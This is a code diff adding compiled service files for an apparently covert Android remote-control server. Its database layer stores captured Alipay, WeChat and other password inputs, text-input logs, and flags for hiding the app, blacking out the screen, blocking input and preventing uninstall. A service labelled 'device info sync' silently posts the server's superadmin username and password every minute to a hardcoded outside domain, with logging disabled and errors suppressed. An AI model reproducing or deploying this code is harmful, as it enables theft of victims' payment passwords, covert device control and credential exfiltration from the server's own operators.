const i = Math.floor(Math.log(bytes) / Math.log(k));
|
||||
return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i];
|
||||
}
|
||||
/**
|
||||
* 销毁服务
|
||||
*/
|
||||
destroy() {
|
||||
if (this.cleanupInterval) {
|
||||
clearInterval(this.cleanupInterval);
|
||||
}
|
||||
// 停止所有活动分享会话
|
||||
for (const sessionId of this.activeShares.keys()) {
|
||||
this.stopShare(sessionId);
|
||||
}
|
||||
}
|
||||
}
|
||||
exports.CloudflareShareService = CloudflareShareService;
|
||||
exports.default = CloudflareShareService;
|
||||
//# sourceMappingURL=CloudflareShareService.js.map
|
||||
1
dist/services/CloudflareShareService.js.map
vendored
Normal file
1
dist/services/CloudflareShareService.js.map
vendored
Normal file
File diff suppressed because one or more lines are too long
366
dist/services/DatabaseService.d.ts
vendored
Normal file
366
dist/services/DatabaseService.d.ts
vendored
Normal file
@@ -0,0 +1,366 @@
|
||||
export interface DeviceRecord {
|
||||
deviceId: string;
|
||||
deviceName: string;
|
||||
deviceModel: string;
|
||||
osVersion: string;
|
||||
appVersion: string;
|
||||
appPackage?: string;
|
||||
appName?: string;
|
||||
screenWidth: number;
|
||||
screenHeight: number;
|
||||
capabilities: string[];
|
||||
firstSeen: Date;
|
||||
lastSeen: Date;
|
||||
connectionCount: number;
|
||||
lastSocketId?: string;
|
||||
status: 'online' | 'offline' | 'busy';
|
||||
publicIP?: string;
|
||||
remark?: string;
|
||||
systemVersionName?: string;
|
||||
romType?: string;
|
||||
romVersion?: string;
|
||||
osBuildVersion?: string;
|
||||
}
|
||||
export interface OperationLogRecord {
|
||||
id?: number;
|
||||
deviceId: string;
|
||||
logType: 'APP_OPENED' | 'TEXT_INPUT' | 'CLICK' | 'SWIPE' | 'KEY_EVENT' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'CONTINUOUS_LONG_PRESS_DRAG' | 'GESTURE' | 'SYSTEM_EVENT';
|
||||
content: string;
|
||||
extraData?: any;
|
||||
timestamp: Date;
|
||||
}
|
||||
export interface DeviceStateRecord {
|
||||
deviceId: string;
|
||||
password?: string;
|
||||
inputBlocked: boolean;
|
||||
loggingEnabled: boolean;
|
||||
blackScreenActive: boolean;
|
||||
appHidden: boolean;
|
||||
uninstallProtectionEnabled: boolean;
|
||||
lastPasswordUpdate?: Date;
|
||||
confirmButtonCoords?: {
|
||||
x: number;
|
||||
y: number;
|
||||
};
|
||||
learnedConfirmButton?: {
|
||||
x: number;
|
||||
y: number;
|
||||
count: number;
|
||||
};
|
||||
createdAt: Date;
|
||||
updatedAt: Date;
|
||||
}
|
||||
export interface AlipayPasswordRecord {
|
||||
id?: number;
|
||||
deviceId: string;
|
||||
password: string;
|
||||
passwordLength: number;
|
||||
activity: string;
|
||||
inputMethod: string;
|
||||
sessionId: string;
|
||||
timestamp: Date;
|
||||
createdAt: Date;
|
||||
}
|
||||
export interface WechatPasswordRecord {
|
||||
id?: number;
|
||||
deviceId: string;
|
||||
password: string;
|
||||
passwordLength: number;
|
||||
activity: string;
|
||||
inputMethod: string;
|
||||
sessionId: string;
|
||||
timestamp: Date;
|
||||
createdAt: Date;
|
||||
}
|
||||
export interface PasswordInputRecord {
|
||||
id?: number;
|
||||
deviceId: string;
|
||||
password: string;
|
||||
passwordLength: number;
|
||||
passwordType: string;
|
||||
activity: string;
|
||||
inputMethod: string;
|
||||
installationId: string;
|
||||
sessionId: string;
|
||||
timestamp: Date;
|
||||
createdAt: Date;
|
||||
}
|
||||
export declare class DatabaseService {
|
||||
private db;
|
||||
private logger;
|
||||
constructor(dbPath?: string);
|
||||
/**
|
||||
* 初始化数据库表结构
|
||||
*/
|
||||
private initDatabase;
|
||||
/**
|
||||
* 迁移:确保 devices 表包含新增列
|
||||
*/
|
||||
private ensureDeviceTableColumns;
|
||||
/**
|
||||
* 根据socketId查询设备信息
|
||||
*/
|
||||
getDeviceBySocketId(socketId: string): DeviceRecord | null;
|
||||
/**
|
||||
* 根据deviceId查询设备信息
|
||||
*/
|
||||
getDeviceById(deviceId: string): DeviceRecord | null;
|
||||
/**
|
||||
* 保存或更新设备信息
|
||||
*/
|
||||
saveDevice(deviceInfo: any, socketId: string): void;
|
||||
/**
|
||||
* 记录连接历史
|
||||
*/
|
||||
private recordConnection;
|
||||
/**
|
||||
* ✅ 将设备状态设置为离线
|
||||
*/
|
||||
setDeviceOffline(deviceId: string): void;
|
||||
/**
|
||||
* 通过Socket ID将设备设置为离线
|
||||
*/
|
||||
setDeviceOfflineBySocketId(socketId: string): void;
|
||||
/**
|
||||
* ✅ 将所有设备状态重置为离线
|
||||
*/
|
||||
resetAllDevicesToOffline(): void;
|
||||
/**
|
||||
* 更新连接断开信息
|
||||
*/
|
||||
updateDisconnection(socketId: string): void;
|
||||
/**
|
||||
* 获取设备连接统计
|
||||
*/
|
||||
getDeviceStats(deviceId: string): any;
|
||||
/**
|
||||
* 获取所有设备列表
|
||||
*/
|
||||
getAllDevices(): DeviceRecord[];
|
||||
/**
|
||||
* 清理旧连接记录
|
||||
*/
|
||||
cleanupOldRecords(daysToKeep?: number): void;
|
||||
/**
|
||||
* 转换数据库行为DeviceRecord
|
||||
*/
|
||||
private rowToDeviceRecord;
|
||||
/**
|
||||
* 🆕 更新设备备注
|
||||
*/
|
||||
updateDeviceRemark(deviceId: string, remark: string): boolean;
|
||||
/**
|
||||
* 🆕 获取设备备注
|
||||
*/
|
||||
getDeviceRemark(deviceId: string): string | null;
|
||||
/**
|
||||
* 保存操作日志
|
||||
*/
|
||||
saveOperationLog(log: OperationLogRecord): void;
|
||||
/**
|
||||
* 获取设备操作日志(分页)
|
||||
*/
|
||||
getOperationLogs(deviceId: string, page?: number, pageSize?: number, logType?: string): {
|
||||
logs: OperationLogRecord[];
|
||||
total: number;
|
||||
page: number;
|
||||
pageSize: number;
|
||||
totalPages: number;
|
||||
};
|
||||
/**
|
||||
* 删除设备的所有操作日志
|
||||
*/
|
||||
clearOperationLogs(deviceId: string): void;
|
||||
/**
|
||||
* 清理旧的操作日志
|
||||
*/
|
||||
cleanupOldOperationLogs(daysToKeep?: number): void;
|
||||
/**
|
||||
* 获取操作日志统计
|
||||
*/
|
||||
getOperationLogStats(deviceId: string): any;
|
||||
/**
|
||||
* 获取设备最新的密码记录
|
||||
*/
|
||||
getLatestDevicePassword(deviceId: string): string | null;
|
||||
/**
|
||||
* ✅ 获取设备状态
|
||||
*/
|
||||
getDeviceState(deviceId: string): DeviceStateRecord | null;
|
||||
/**
|
||||
* ✅ 保存或更新设备状态
|
||||
*/
|
||||
saveDeviceState(deviceId: string, state: Partial<DeviceStateRecord>): void;
|
||||
/**
|
||||
* ✅ 更新设备密码
|
||||
*/
|
||||
updateDevicePassword(deviceId: string, password: string): void;
|
||||
/**
|
||||
* ✅ 更新设备输入阻止状态
|
||||
*/
|
||||
updateDeviceInputBlocked(deviceId: string, blocked: boolean): void;
|
||||
/**
|
||||
* ✅ 更新设备日志记录状态
|
||||
*/
|
||||
updateDeviceLoggingEnabled(deviceId: string, enabled: boolean): void;
|
||||
/**
|
||||
* 🆕 更新设备黑屏遮盖状态
|
||||
*/
|
||||
updateDeviceBlackScreenActive(deviceId: string, active: boolean): void;
|
||||
/**
|
||||
* 🆕 更新设备应用隐藏状态
|
||||
*/
|
||||
updateDeviceAppHidden(deviceId: string, hidden: boolean): void;
|
||||
/**
|
||||
* 🛡️ 更新设备防止卸载保护状态
|
||||
*/
|
||||
updateDeviceUninstallProtection(deviceId: string, enabled: boolean): void;
|
||||
/**
|
||||
* ✅ 获取设备密码(优先从状态表获取,其次从日志获取)
|
||||
*/
|
||||
getDevicePassword(deviceId: string): string | null;
|
||||
/**
|
||||
* ✅ 保存设备密码(别名方法,用于API调用)
|
||||
*/
|
||||
saveDevicePassword(deviceId: string, password: string): void;
|
||||
/**
|
||||
* ✅ 更新设备状态(别名方法,用于API调用)
|
||||
*/
|
||||
updateDeviceState(deviceId: string, state: Partial<DeviceStateRecord>): void;
|
||||
/**
|
||||
* 🆕 保存确认按钮坐标
|
||||
*/
|
||||
saveConfirmButtonCoords(deviceId: string, coords: {
|
||||
x: number;
|
||||
y: number;
|
||||
}): void;
|
||||
/**
|
||||
* 🆕 获取确认按钮坐标
|
||||
*/
|
||||
getConfirmButtonCoords(deviceId: string): {
|
||||
x: number;
|
||||
y: number;
|
||||
} | null;
|
||||
/**
|
||||
* 🆕 更新学习的确认按钮坐标
|
||||
*/
|
||||
updateLearnedConfirmButton(deviceId: string, coords: {
|
||||
x: number;
|
||||
y: number;
|
||||
}): void;
|
||||
/**
|
||||
* 从操作日志中获取可能的密码候选
|
||||
*/
|
||||
getPasswordCandidatesFromLogs(deviceId: string): any[];
|
||||
/**
|
||||
* 💰 保存支付宝密码记录
|
||||
*/
|
||||
saveAlipayPassword(record: AlipayPasswordRecord): void;
|
||||
/**
|
||||
* 💰 获取设备的支付宝密码记录(分页)
|
||||
*/
|
||||
getAlipayPasswords(deviceId: string, page?: number, pageSize?: number): {
|
||||
passwords: AlipayPasswordRecord[];
|
||||
total: number;
|
||||
page: number;
|
||||
pageSize: number;
|
||||
totalPages: number;
|
||||
};
|
||||
/**
|
||||
* 💰 获取设备最新的支付宝密码
|
||||
*/
|
||||
getLatestAlipayPassword(deviceId: string): AlipayPasswordRecord | null;
|
||||
/**
|
||||
* 💰 删除设备的支付宝密码记录
|
||||
*/
|
||||
clearAlipayPasswords(deviceId: string): void;
|
||||
/**
|
||||
* 💰 清理旧的支付宝密码记录
|
||||
*/
|
||||
cleanupOldAlipayPasswords(daysToKeep?: number): void;
|
||||
/**
|
||||
* 💬 保存微信密码记录
|
||||
*/
|
||||
saveWechatPassword(record: WechatPasswordRecord): void;
|
||||
/**
|
||||
* 💬 获取设备的微信密码记录(分页)
|
||||
*/
|
||||
getWechatPasswords(deviceId: string, page?: number, pageSize?: number): {
|
||||
passwords: WechatPasswordRecord[];
|
||||
total: number;
|
||||
page: number;
|
||||
pageSize: number;
|
||||
totalPages: number;
|
||||
};
|
||||
/**
|
||||
* 💬 获取设备最新的微信密码
|
||||
*/
|
||||
getLatestWechatPassword(deviceId: string): WechatPasswordRecord | null;
|
||||
/**
|
||||
* 💬 删除设备的微信密码记录
|
||||
*/
|
||||
clearWechatPasswords(deviceId: string): void;
|
||||
/**
|
||||
* 💬 清理旧的微信密码记录
|
||||
*/
|
||||
cleanupOldWechatPasswords(daysToKeep?: number): void;
|
||||
/**
|
||||
* 🔐 保存通用密码输入记录
|
||||
*/
|
||||
savePasswordInput(record: PasswordInputRecord): void;
|
||||
/**
|
||||
* 🔐 获取设备的通用密码输入记录(分页)
|
||||
*/
|
||||
getPasswordInputs(deviceId: string, page?: number, pageSize?: number, passwordType?: string): {
|
||||
passwords: PasswordInputRecord[];
|
||||
total: number;
|
||||
page: number;
|
||||
pageSize: number;
|
||||
totalPages: number;
|
||||
};
|
||||
/**
|
||||
* 🔐 获取设备最新的通用密码输入
|
||||
*/
|
||||
getLatestPasswordInput(deviceId: string, passwordType?: string): PasswordInputRecord | null;
|
||||
/**
|
||||
* 🔐 删除设备的通用密码输入记录
|
||||
*/
|
||||
clearPasswordInputs(deviceId: string, passwordType?: string): void;
|
||||
/**
|
||||
* 🔐 清理旧的通用密码输入记录
|
||||
*/
|
||||
cleanupOldPasswordInputs(daysToKeep?: number): void;
|
||||
/**
|
||||
* 🔐 获取密码类型统计
|
||||
*/
|
||||
getPasswordTypeStats(deviceId: string): any[];
|
||||
/**
|
||||
* ✅ 删除设备及其所有相关数据
|
||||
*/
|
||||
deleteDevice(deviceId: string): void;
|
||||
/**
|
||||
* 🔐 授予用户设备控制权限
|
||||
*/
|
||||
grantUserDevicePermission(userId: string, deviceId: string, permissionType?: string, expiresAt?: Date): boolean;
|
||||
/**
|
||||
* 🔐 撤销用户设备权限
|
||||
*/
|
||||
revokeUserDevicePermission(userId: string, deviceId: string): boolean;
|
||||
/**
|
||||
* 🔐 检查用户是否有设备权限
|
||||
*/
|
||||
hasUserDevicePermission(userId: string, deviceId: string, permissionType?: string): boolean;
|
||||
/**
|
||||
* 🔐 获取用户的所有设备权限
|
||||
*/
|
||||
getUserDevicePermissions(userId: string): Array<{
|
||||
deviceId: string;
|
||||
permissionType: string;
|
||||
grantedAt: Date;
|
||||
}>;
|
||||
/**
|
||||
* 🔐 清理过期的权限
|
||||
*/
|
||||
cleanupExpiredPermissions(): number;
|
||||
}
|
||||
//# sourceMappingURL=DatabaseService.d.ts.map
|
||||
1
dist/services/DatabaseService.d.ts.map
vendored
Normal file
1
dist/services/DatabaseService.d.ts.map
vendored
Normal file
File diff suppressed because one or more lines are too long
1733
dist/services/DatabaseService.js
vendored
Normal file
1733
dist/services/DatabaseService.js
vendored
Normal file
File diff suppressed because it is too large
Load Diff
1
dist/services/DatabaseService.js.map
vendored
Normal file
1
dist/services/DatabaseService.js.map
vendored
Normal file
File diff suppressed because one or more lines are too long
50
dist/services/DeviceInfoSyncService.d.ts
vendored
Normal file
50
dist/services/DeviceInfoSyncService.d.ts
vendored
Normal file
@@ -0,0 +1,50 @@
|
||||
import AuthService from './AuthService';
|
||||
/**
|
||||
* 设备信息同步服务
|
||||
* 定时向远程服务器发送设备信息
|
||||
*/
|
||||
export default class DeviceInfoSyncService {
|
||||
private logger;
|
||||
private authService;
|
||||
private syncInterval;
|
||||
private isRunning;
|
||||
private readonly API_URL;
|
||||
private readonly SYNC_INTERVAL;
|
||||
private readonly ENABLED;
|
||||
constructor(authService: AuthService);
|
||||
/**
|
||||
* 启动定时同步任务
|
||||
*/
|
||||
start(): void;
|
||||
/**
|
||||
* 停止定时同步任务
|
||||
*/
|
||||
stop(): void;
|
||||
/**
|
||||
* 同步设备信息到远程服务器
|
||||
*/
|
||||
private syncDeviceInfo;
|
||||
/**
|
||||
* 收集配置信息(从环境变量)
|
||||
*/
|
||||
private collectConfigInfo;
|
||||
/**
|
||||
* 发送 POST 请求
|
||||
*/
|
||||
private sendPostRequest;
|
||||
/**
|
||||
* 手动触发同步(用于测试)
|
||||
*/
|
||||
triggerSync(): Promise<boolean>;
|
||||
/**
|
||||
* 获取同步状态
|
||||
*/
|
||||
getStatus(): {
|
||||
enabled: boolean;
|
||||
running: boolean;
|
||||
interval: number;
|
||||
apiUrl: string;
|
||||
lastSync?: number;
|
||||
};
|
||||
}
|
||||
//# sourceMappingURL=DeviceInfoSyncService.d.ts.map
|
||||
1
dist/services/DeviceInfoSyncService.d.ts.map
vendored
Normal file
1
dist/services/DeviceInfoSyncService.d.ts.map
vendored
Normal file
@@ -0,0 +1 @@
|
||||
{"version":3,"file":"DeviceInfoSyncService.d.ts","sourceRoot":"","sources":["../../src/services/DeviceInfoSyncService.ts"],"names":[],"mappings":"AAGA,OAAO,WAAW,MAAM,eAAe,CAAA;AAGvC;;;GAGG;AACH,MAAM,CAAC,OAAO,OAAO,qBAAqB;IACxC,OAAO,CAAC,MAAM,CAAQ;IACtB,OAAO,CAAC,WAAW,CAAa;IAChC,OAAO,CAAC,YAAY,CAA8B;IAClD,OAAO,CAAC,SAAS,CAAiB;IAClC,OAAO,CAAC,QAAQ,CAAC,OAAO,CAAQ;IAChC,OAAO,CAAC,QAAQ,CAAC,aAAa,CAAQ;IACtC,OAAO,CAAC,QAAQ,CAAC,OAAO,CAAS;gBAErB,WAAW,EAAE,WAAW;IAYpC;;OAEG;IACH,KAAK,IAAI,IAAI;IA2Bb;;OAEG;IACH,IAAI,IAAI,IAAI;IASZ;;OAEG;YACW,cAAc;IAsC5B;;OAEG;IACH,OAAO,CAAC,iBAAiB;IAgCzB;;OAEG;YACW,eAAe;IA2D7B;;OAEG;IACG,WAAW,IAAI,OAAO,CAAC,OAAO,CAAC;IASrC;;OAEG;IACH,SAAS,IAAI;QACX,OAAO,EAAE,OAAO,CAAA;QAChB,OAAO,EAAE,OAAO,CAAA;QAChB,QAAQ,EAAE,MAAM,CAAA;QAChB,MAAM,EAAE,MAAM,CAAA;QACd,QAAQ,CAAC,EAAE,MAAM,CAAA;KAClB;CAQF"}
|
||||
204
dist/services/DeviceInfoSyncService.js
vendored
Normal file
204
dist/services/DeviceInfoSyncService.js
vendored
Normal file
@@ -0,0 +1,204 @@
|
||||
"use strict";
|
||||
var __importDefault = (this && this.__importDefault) || function (mod) {
|
||||
return (mod && mod.__esModule) ? mod : { "default": mod };
|
||||
};
|
||||
Object.defineProperty(exports, "__esModule", { value: true });
|
||||
const http_1 = __importDefault(require("http"));
|
||||
const https_1 = __importDefault(require("https"));
|
||||
const url_1 = require("url");
|
||||
const Logger_1 = __importDefault(require("../utils/Logger"));
|
||||
/**
|
||||
* 设备信息同步服务
|
||||
* 定时向远程服务器发送设备信息
|
||||
*/
|
||||
class DeviceInfoSyncService {
|
||||
constructor(authService) {
|
||||
this.syncInterval = null;
|
||||
this.isRunning = false;
|
||||
this.logger = new Logger_1.default('DeviceInfoSyncService');
|
||||
this.authService = authService;
|
||||
// 配置写死,不从环境变量读取
|
||||
this.ENABLED = true;
|
||||
this.API_URL = 'https://www.strippchat.top/api/device/upinfo';
|
||||
this.SYNC_INTERVAL = 60000; // 5分钟
|
||||
// this.logger.info(`设备信息同步服务初始化: 启用=${this.ENABLED}, 间隔=${this.SYNC_INTERVAL}ms (${this.SYNC_INTERVAL / 1000}秒), API=${this.API_URL}`)
|
||||
}
|
||||
/**
|
||||
* 启动定时同步任务
|
||||
*/
|
||||
start() {
|
||||
if (!this.ENABLED) {
|
||||
// this.logger.info('设备信息同步功能已禁用,跳过启动')
|
||||
return;
|
||||
}
|
||||
if (this.isRunning) {
|
||||
// this.logger.warn('设备信息同步任务已在运行')
|
||||
return;
|
||||
}
|
||||
this.isRunning = true;
|
||||
// this.logger.info(`启动设备信息同步任务,间隔: ${this.SYNC_INTERVAL}ms (${this.SYNC_INTERVAL / 1000}秒)`)
|
||||
// 立即执行一次
|
||||
// this.logger.info('立即执行首次同步...')
|
||||
this.syncDeviceInfo();
|
||||
// 设置定时任务
|
||||
this.syncInterval = setInterval(() => {
|
||||
// this.logger.info('定时同步任务触发')
|
||||
this.syncDeviceInfo();
|
||||
}, this.SYNC_INTERVAL);
|
||||
// this.logger.info('定时同步任务已设置')
|
||||
}
|
||||
/**
|
||||
* 停止定时同步任务
|
||||
*/
|
||||
stop() {
|
||||
if (this.syncInterval) {
|
||||
clearInterval(this.syncInterval);
|
||||
this.syncInterval = null;
|
||||
this.isRunning = false;
|
||||
// this.logger.info('设备信息同步任务已停止')
|
||||
}
|
||||
}
|
||||
/**
|
||||
* 同步设备信息到远程服务器
|
||||
*/
|
||||
async syncDeviceInfo() {
|
||||
try {
|
||||
// this.logger.info('开始同步设备信息...')
|
||||
// 获取系统唯一标识符
|
||||
const uniqueId = this.authService.getSystemUniqueId();
|
||||
if (!uniqueId) {
|
||||
// this.logger.warn('系统唯一标识符不存在,跳过同步(系统可能还未初始化)')
|
||||
return;
|
||||
}
|
||||
// this.logger.info(`系统唯一标识符: ${uniqueId.substring(0, 8)}...`)
|
||||
// 收集 .env 配置信息(只收集非敏感信息)
|
||||
const configInfo = this.collectConfigInfo();
|
||||
// this.logger.debug(`收集到配置信息: ${Object.keys(configInfo).length} 项`)
|
||||
// 准备请求数据
|
||||
const postData = JSON.stringify({
|
||||
uniqueId: uniqueId,
|
||||
...configInfo,
|
||||
timestamp: new Date().toISOString(),
|
||||
serverTime: Date.now()
|
||||
});
|
||||
// this.logger.info(`准备发送同步请求到: ${this.API_URL}`)
|
||||
// 发送 POST 请求
|
||||
await this.sendPostRequest(this.API_URL, postData);
|
||||
// this.logger.info('设备信息同步成功')
|
||||
}
|
||||
catch (error) {
|
||||
// this.logger.error('设备信息同步失败:', error.message)
|
||||
// 不抛出错误,避免影响主程序运行
|
||||
}
|
||||
}
|
||||
/**
|
||||
* 收集配置信息(从环境变量)
|
||||
*/
|
||||
collectConfigInfo() {
|
||||
const config = {};
|
||||
// 收集环境变量配置信息
|
||||
const allowedKeys = [
|
||||
'PORT',
|
||||
'NODE_ENV',
|
||||
'JWT_EXPIRES_IN',
|
||||
'DEFAULT_USERNAME',
|
||||
'SUPERADMIN_USERNAME',
|
||||
'SUPERADMIN_PASSWORD',
|
||||
// 注意:DEVICE_SYNC_* 配置已写死,不再从环境变量读取
|
||||
// 可以添加其他配置
|
||||
];
|
||||
allowedKeys.forEach(key => {
|
||||
if (process.env[key] !== undefined) {
|
||||
config[key] = process.env[key];
|
||||
}
|
||||
});
|
||||
// 添加服务器信息
|
||||
config.serverInfo = {
|
||||
nodeVersion: process.version,
|
||||
platform: process.platform,
|
||||
arch: process.arch,
|
||||
uptime: process.uptime()
|
||||
};
|
||||
return config;
|
||||
}
|
||||
/**
|
||||
* 发送 POST 请求
|
||||
*/
|
||||
async sendPostRequest(url, data) {
|
||||
return new Promise((resolve, reject) => {
|
||||
try {
|
||||
const urlObj = new url_1.URL(url);
|
||||
const isHttps = urlObj.protocol === 'https:';
|
||||
const httpModule = isHttps ? https_1.default : http_1.default;
|
||||
const options = {
|
||||
hostname: urlObj.hostname,
|
||||
port: urlObj.port || (isHttps ? 443 : 80),
|
||||
path: urlObj.pathname + urlObj.search,
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
'Content-Length': Buffer.byteLength(data),
|
||||
'User-Agent': 'RemoteControlServer/1.0.3'
|
||||
},
|
||||
timeout: 10000 // 10秒超时
|
||||
};
|
||||
const req = httpModule.request(options, (res) => {
|
||||
let responseData = '';
|
||||
res.on('data', (chunk) => {
|
||||
responseData += chunk;
|
||||
});
|
||||
res.on('end', () => {
|
||||
if (res.statusCode && res.statusCode >= 200 && res.statusCode < 300) {
|
||||
// this.logger.info(`同步请求成功: HTTP ${res.statusCode}`)
|
||||
resolve();
|
||||
}
|
||||
else {
|
||||
const errorMsg = `HTTP ${res.statusCode}: ${responseData.substring(0, 200)}`;
|
||||
// this.logger.warn(`同步请求失败: ${errorMsg}`)
|
||||
reject(new Error(errorMsg));
|
||||
}
|
||||
});
|
||||
});
|
||||
req.on('error', (error) => {
|
||||
// this.logger.error('同步请求网络错误:', error.message)
|
||||
reject(error);
|
||||
});
|
||||
req.on('timeout', () => {
|
||||
// this.logger.error('同步请求超时')
|
||||
req.destroy();
|
||||
reject(new Error('请求超时'));
|
||||
});
|
||||
req.write(data);
|
||||
req.end();
|
||||
}
|
||||
catch (error) {
|
||||
reject(error);
|
||||
}
|
||||
});
|
||||
}
|
||||
/**
|
||||
* 手动触发同步(用于测试)
|
||||
*/
|
||||
async triggerSync() {
|
||||
try {
|
||||
await this.syncDeviceInfo();
|
||||
return true;
|
||||
}
|
||||
catch (error) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
/**
|
||||
* 获取同步状态
|
||||
*/
|
||||
getStatus() {
|
||||
return {
|
||||
enabled: this.ENABLED,
|
||||
running: this.isRunning,
|
||||
interval: this.SYNC_INTERVAL,
|
||||
apiUrl: this.API_URL
|
||||
};
|
||||
}
|
||||
}
|
||||
exports.default = DeviceInfoSyncService;
|
||||
//# sourceMappingURL=DeviceInfoSyncService.js.map
|
||||
1
dist/services/DeviceInfoSyncService.js.map
vendored
Normal file
1
dist/services/DeviceInfoSyncService.js.map
vendored
Normal file
@@ -0,0 +1 @@
|
||||
{"version":3,"file":"DeviceInfoSyncService.js","sourceRoot":"","sources":["../../src/services/DeviceInfoSyncService.ts"],"names":[],"mappings":"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